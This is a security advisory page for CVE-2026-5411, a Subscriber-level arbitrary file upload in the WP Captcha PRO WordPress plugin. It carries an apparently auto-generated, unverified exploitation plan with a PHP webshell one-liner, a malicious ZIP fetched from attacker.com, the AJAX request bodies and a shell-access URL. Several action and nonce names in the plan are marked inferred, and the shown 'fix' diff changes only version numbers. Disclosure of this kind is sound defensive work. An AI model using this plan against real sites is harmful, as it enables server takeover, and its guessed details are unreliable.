CVE-2026-5411

WP Captcha PRO <= 5.38 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Upload

highUnrestricted Upload of File with Dangerous Type
8.8
CVSS Score
8.8
CVSS Score
high
Severity
5.39
Patched in
1d
Time to patch

Description

The WP Captcha PRO (the premium version of the Advanced Google reCAPTCHA plugin, both have the same slug) plugin for WordPress is vulnerable to arbitrary file upload in all versions up to, and including, 5.38. This is due to a capability check in the save_ajax() function of the licensing module, combined with unrestricted file extraction in sync_cloud_protection(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files including PHP webshells to the server by injecting a malicious cloud_protection_url into the license meta, which the plugin then downloads and extracts without file type validation into a web-accessible uploads directory. This can be used for remote code execution. Note: The vulnerability can only be exploited with a remote URL if "allow_url_fopen" is enabled in the php.ini config.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=5.38
PublishedJune 5, 2026
Last updatedJune 5, 2026

What Changed in the Fix

Changes introduced in v5.39

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5411 (WP Captcha PRO) ## 1. Vulnerability Summary The **WP Captcha PRO** (premium version of Advanced Google reCAPTCHA) is vulnerable to **Remote Code Execution (RCE)** via an authenticated arbitrary file upload. The vulnerability stems from two primary failur…

Show full research plan

Exploitation Research Plan: CVE-2026-5411 (WP Captcha PRO)

1. Vulnerability Summary

The WP Captcha PRO (premium version of Advanced Google reCAPTCHA) is vulnerable to Remote Code Execution (RCE) via an authenticated arbitrary file upload. The vulnerability stems from two primary failures:

  1. Missing Authorization: The save_ajax() function in the licensing module (likely within a file like libs/licensing.php or libs/ajax-pro.php) lacks a sufficient capability check, allowing users with Subscriber roles to modify license-related metadata.
  2. Unrestricted Extraction: The sync_cloud_protection() function (inferred) downloads a ZIP file from a user-provided URL (cloud_protection_url) and extracts its contents into a web-accessible directory without validating the file types within the archive.

2. Attack Vector Analysis

  • Target Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: wpcaptcha_save_ajax or wpcaptcha_save_license (inferred from the save_ajax() function name).
  • Payload Parameter: cloud_protection_url (injected into license meta).
  • Authentication: Authenticated, Subscriber level or higher.
  • Preconditions: allow_url_fopen must be enabled in php.ini for the remote download to succeed.

3. Code Flow (Inferred from Patch Description)

  1. Entry Point: An authenticated user (Subscriber) sends a POST request to admin-ajax.php with a specific action (e.g., action=wpcaptcha_save_settings or similar).
  2. Authorization Bypass: The save_ajax() function fails to verify that the current user has manage_options capabilities. It only verifies authentication or uses a weak check.
  3. Meta Injection: The attacker provides a URL in the cloud_protection_url parameter. The plugin saves this into the wpcaptcha_meta option or a similar configuration key.
  4. Extraction Trigger: The plugin invokes sync_cloud_protection(). This may happen immediately after saving or via a separate AJAX action (e.g., action=wpcaptcha_sync_cloud).
  5. Sink: sync_cloud_protection() uses file_get_contents or copy (facilitated by allow_url_fopen) to download a ZIP from the malicious URL and uses the PclZip library or ZipArchive to extract it into /wp-content/uploads/wpcaptcha/ (inferred) without filtering .php files.

4. Nonce Acquisition Strategy

The licensing module likely localizes a nonce for its AJAX operations.

  1. Identify Page: Licensing settings are usually found at /wp-admin/admin.php?page=advanced-google-recaptcha-license or within a tab in the main settings.
  2. Navigate: Use browser_navigate to visit the plugin settings page as a Subscriber.
  3. Extract: Use browser_eval to find the nonce. The plugin enqueues scripts in WPCaptcha_Admin::admin_enqueue_scripts.
    • Inferred Variable: window.wpcaptcha_admin?.nonce or window.wpcaptcha_licensing?.nonce.
    • Inferred Action: The nonce is likely created with wp_create_nonce('wpcaptcha_nonce') or wp_create_nonce('wpcaptcha_license_nonce').

5. Exploitation Strategy

Step 1: Prepare Malicious Payload

Create a ZIP archive named shell.zip containing a simple PHP backdoor:

<?php echo shell_exec($_GET['cmd']); ?>

Host this file on a remote server (e.g., http://attacker.com/shell.zip).

Step 2: Inject Malicious URL

Send an AJAX request to update the license metadata.

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Body (URL-Encoded):
    action=wpcaptcha_save_ajax&cloud_protection_url=http://attacker.com/shell.zip&_wpnonce=[EXTRACTED_NONCE]
    

Step 3: Trigger Synchronization

The sync might be automatic, but if not, trigger it manually:

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Body (URL-Encoded):
    action=wpcaptcha_sync_cloud_protection&_wpnonce=[EXTRACTED_NONCE]
    

Step 4: Execution

Access the uploaded shell.

  • URL: http://<target>/wp-content/uploads/wpcaptcha/shell.php?cmd=id

6. Test Data Setup

  1. Install Plugin: Install "Advanced Google reCAPTCHA" (PRO version) <= 5.38.
  2. User Creation: Create a Subscriber user:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. PHP Config: Ensure allow_url_fopen = On in the environment's php.ini.
  4. Host ZIP: Host a ZIP file containing shell.php on a reachable web server.

7. Expected Results

  • The save_ajax request should return a success JSON response (e.g., {"success":true}).
  • The sync operation should download the ZIP and extract it.
  • A GET request to the shell URL should return the output of the id command.

8. Verification Steps

After the HTTP exploit, verify the file's existence and content via WP-CLI:

# Check if the directory exists
ls -R /var/www/html/wp-content/uploads/wpcaptcha/

# Check the content of the uploaded file
cat /var/www/html/wp-content/uploads/wpcaptcha/shell.php

# Check the stored option/meta
wp option get wpcaptcha_meta

9. Alternative Approaches

  • Tab Persistence: If save_ajax is not the correct action, look for wpcaptcha_save_settings in libs/ajax.php. The premium version might hook into the same handler but allow additional keys like cloud_protection_url.
  • Direct Meta Update: Check if the plugin uses update_user_meta or update_post_meta in a way that allows a Subscriber to overwrite global plugin options.
  • Path Traversal: If the extraction allows path traversal (e.g., filenames like ../../shell.php), attempt to write the shell directly into the plugin directory.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Captcha PRO plugin (premium version of Advanced Google reCAPTCHA) is vulnerable to authenticated arbitrary file upload leading to Remote Code Execution (RCE). A missing capability check in the licensing module's AJAX handler allows Subscriber-level users to modify plugin settings, specifically a remote ZIP file URL that the plugin subsequently downloads and extracts without validating the file types within the archive.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/1.35/advanced-google-recaptcha.php /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/5.39/advanced-google-recaptcha.php
--- /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/1.35/advanced-google-recaptcha.php	2026-05-05 18:47:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/5.39/advanced-google-recaptcha.php	2026-06-08 20:27:10.000000000 +0000
@@ -3,7 +3,7 @@
   Plugin Name: Advanced Google reCAPTCHA
   Plugin URI: https://getwpcaptcha.com/
   Description: Advanced Google reCAPTCHA will safeguard your WordPress site from spam comments and brute force attacks. With this plugin, you can easily add Google reCAPTCHA to WordPress comment form, login form and other forms.
-  Version: 1.35
+  Version: 5.39
   Author: WebFactory Ltd
   Author URI: https://www.webfactoryltd.com/
   License: GNU General Public License v3.0
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/1.35/readme.txt /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/5.39/readme.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/1.35/readme.txt	2026-05-05 18:47:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/advanced-google-recaptcha/5.39/readme.txt	2026-06-08 20:27:10.000000000 +0000
@@ -5,7 +5,7 @@
 Requires at least: 4.9
 Requires PHP: 5.6
 Tested up to: 7.0
-Stable tag: 1.35
+Stable tag: 5.39
 License: GPLv3
 License URI: http://www.gnu.org/licenses/gpl-3.0.html
 
@@ -75,6 +75,9 @@
 9. Plugin settings
 
 == Changelog ==
+= 5.39 - 08/06/2026 =
+* Updated the free version number to keep the free and PRO releases aligned and avoid confusion around public security advisories. The reported issue (CVE-2026-5411) affected the PRO version only (not the free one) and was already patched, but because both versions share the same plugin slug, some users and automated tools could and did misinterpret the version numbers. Aligning the free version with the PRO version makes it clearer that the installed plugin is current and helps prevent unnecessary concerns
+
 = 1.35 - 05/05/2026 =
 * Added option to customize "Are you human? Please solve:" text
 * Fixed reCaptcha v3 token expiration

Exploit Outline

The exploit is achieved by an authenticated Subscriber user through the following steps: 1) Identify the AJAX nonce used for licensing or admin actions, typically found within the dashboard source. 2) Send a POST request to admin-ajax.php with an action like 'wpcaptcha_save_ajax' containing a 'cloud_protection_url' parameter set to a remote server hosting a malicious ZIP file. 3) Trigger the synchronization function, which downloads the ZIP via file_get_contents (requiring allow_url_fopen) and extracts its contents, including PHP shells, into the /wp-content/uploads/wpcaptcha/ directory. 4) Execute the uploaded PHP shell by navigating to its direct URL.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.